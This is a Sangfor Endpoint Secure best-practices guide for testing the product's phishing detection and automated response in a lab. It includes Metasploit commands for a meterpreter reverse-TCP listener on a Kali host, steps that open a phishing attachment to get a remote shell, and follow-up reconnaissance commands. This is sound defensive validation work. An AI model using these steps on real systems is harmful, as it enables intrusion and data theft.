Sangfor Endpoint Secure

Best Practices: Phishing Detection with Automated Response

Product Version	6.0.2
Document Version	1.0
Released on	Sept. 27, 2023

Sangfor Technologies Inc.

Copyright © Sangfor Technologies Inc. 2023. All rights reserved.

Unless otherwise stated or authorized, Sangfor Technologies Inc. (hereinafter referred to as "Sangfor") and its affiliates reserve all intellectual property rights, including but not limited to copyrights, trademarks, patents, and trade secrets, and related rights to text, images, pictures, photographs, audio, videos, charts, colors, and layouts as presented in or concerning this document and content therein. Without prior written consent of Sangfor, this document and content therein must not be reproduced, forwarded, adapted, modified or displayed or distributed by any other means for any purpose.

Disclaimer

Products, services or features described in this document, whether wholly or in part, may be not within your purchase scope or usage scope. The products, services or features you purchase must be subject to the commercial contract and terms as agreed by you and Sangfor. Unless otherwise provided in the contract, Sangfor disclaims warranties of any kind, either express or implied, for the content of this document.

Due to product version upgrades or other reasons, the content of this document will be updated from time to time. Unless otherwise agreed, this document is used for reference only, and all statements, information, and recommendations therein do not constitute any express or implied warranties.

Technical Support

For technical support, please visit: https://www.sangfor.com/en/about-us/contact-us/technical-support

Send information about errors or any product related problem to tech.support@sangfor.com.

About This Document

This document is the Best Practices of Phishing Detection with Automated Response of Sangfor Endpoint Secure.

Intended Audience

This document is intended for:

l All Users

Note Icons

English Icon	Description
	Indicates an imminently hazardous situation which, if not avoided, will result in death or serious injury.
	Indicates a potentially hazardous situation which, if not avoided, could result in death or serious injury.
	Indicates a hazardous situation, which if not avoided, could result in minor or moderate injury.
	Indicates a hazardous situation, which if not avoided, could result in settings failing to take effect, equipment damage, or data loss. NOTICE addresses practices not related to personal injury.
	Calls attention to important information, best practices, and tips. NOTE addresses information not related to personal injury or equipment damage.

Change Log

Date	Change Description
Dec. 14, 2023	This is the first release of this document.

Contents

2.1 Basic Configuration. 4

2.1.1 Phishing Email 5

2.1.2 Continuous Attack. 8

2.2 Clean Up Residual Files. 9

1

1 Scenario

Phishing and web intrusion attacks are two threat actors' most common methods to infect user systems and steal confidential data. It is important to have capabilities to detect and protect against these attacks. Endpoint Secure has developed stronger detection capabilities to detect attacks originating from Emails and Instant Messaging (IM). When an unsuspecting user downloads and executes a malicious attachment from their Email or IM, Endpoint Secure monitors all files and processes related to the malicious executable.

Users can visualize the attack in Advanced Threats and understand how the threat started and what it is trying to achieve. To help users mitigate these attacks quickly, users can configure Endpoint Secure to respond automatically to block and prevent them once they have been assessed as malicious.

1.1 Prerequisites

15. Use the Kali image uploaded in the attachment and create the system. Do not modify the IP address because Kali's address has been fixed as 192.168.20.71 in the test sample. The account and password for the Kali login are root/@support123.

16. Open the email sample in the attachment with Foxmail.

17. Please ensure that the test PC can access Kali's IP address and that Kali can access the test PC.

2 Best Practices

2.1 Basic Configuration

Step 1. Navigate to Policies > Realtime Protection, disable Realtime File Protection, and Check the Enable auto-fix of phishing attacks checkbox.

Step 2. Disable Hacktool Protection.

2.1.1 Phishing Email

Step 1. Run MSF on Kali and listen for connections from the remote end. Please enter the following commands manually. You can use the tab key to complete the commands. Do not copy and paste from the document.

msfconsole

use exploit/multi/handler

set paylaod windows/meterpreter/reverse_tcp

set lhost 192.168.20.71

set lport 8888

run

Command	Function
msfconsole	Initial msfconsole
set lhost 192.168.20.71	fill in the IP address of Kali

Step 2. Open the email and the attachment on the test PC.

Step 3. The malware will disguise itself as a normal email. The malware will be executed and connected to Kali's IP address by opening the attachment.

Step 4. After executing the phishing sample, it was successfully launched on Kali. You can use the shell command in MSF to enter the PC's command line.

Step 5. In the Endpoint Secure Manager console, go to Detection and Response > Intrusion Detection > Advanced Threats > Alert Mode, and you can see the following alert.

2.1.2 Continuous Attack

Step 1. Enter the shell command to enter the CMD of the test PC.

Step 2. Execute the following command:

Command	Function
whoami	Get the username of the current logged-in user.
ipconfig	Display network configuration information, such as IP address, subnet mask, etc.
systeminfo	Display detailed information about the system, such as operating system version, installation date, etc.
wmic process get	Get information about the running process.

Step 3. Endpoint Secure detected the above behavior and generated the following alerts.

Step 4. At the same time, the security incident has been automatically fixed.

Step 5. In the meantime, you can view the attack chain.

2.2 Clean Up Residual Files

Please clean up the files after the test.

Usually, attachments exist in the following paths: C:\Users\Administrator\AppData\Roaming\Foxmail7\

If you want to generate a new testing event, please restart the PC and delete the above two files.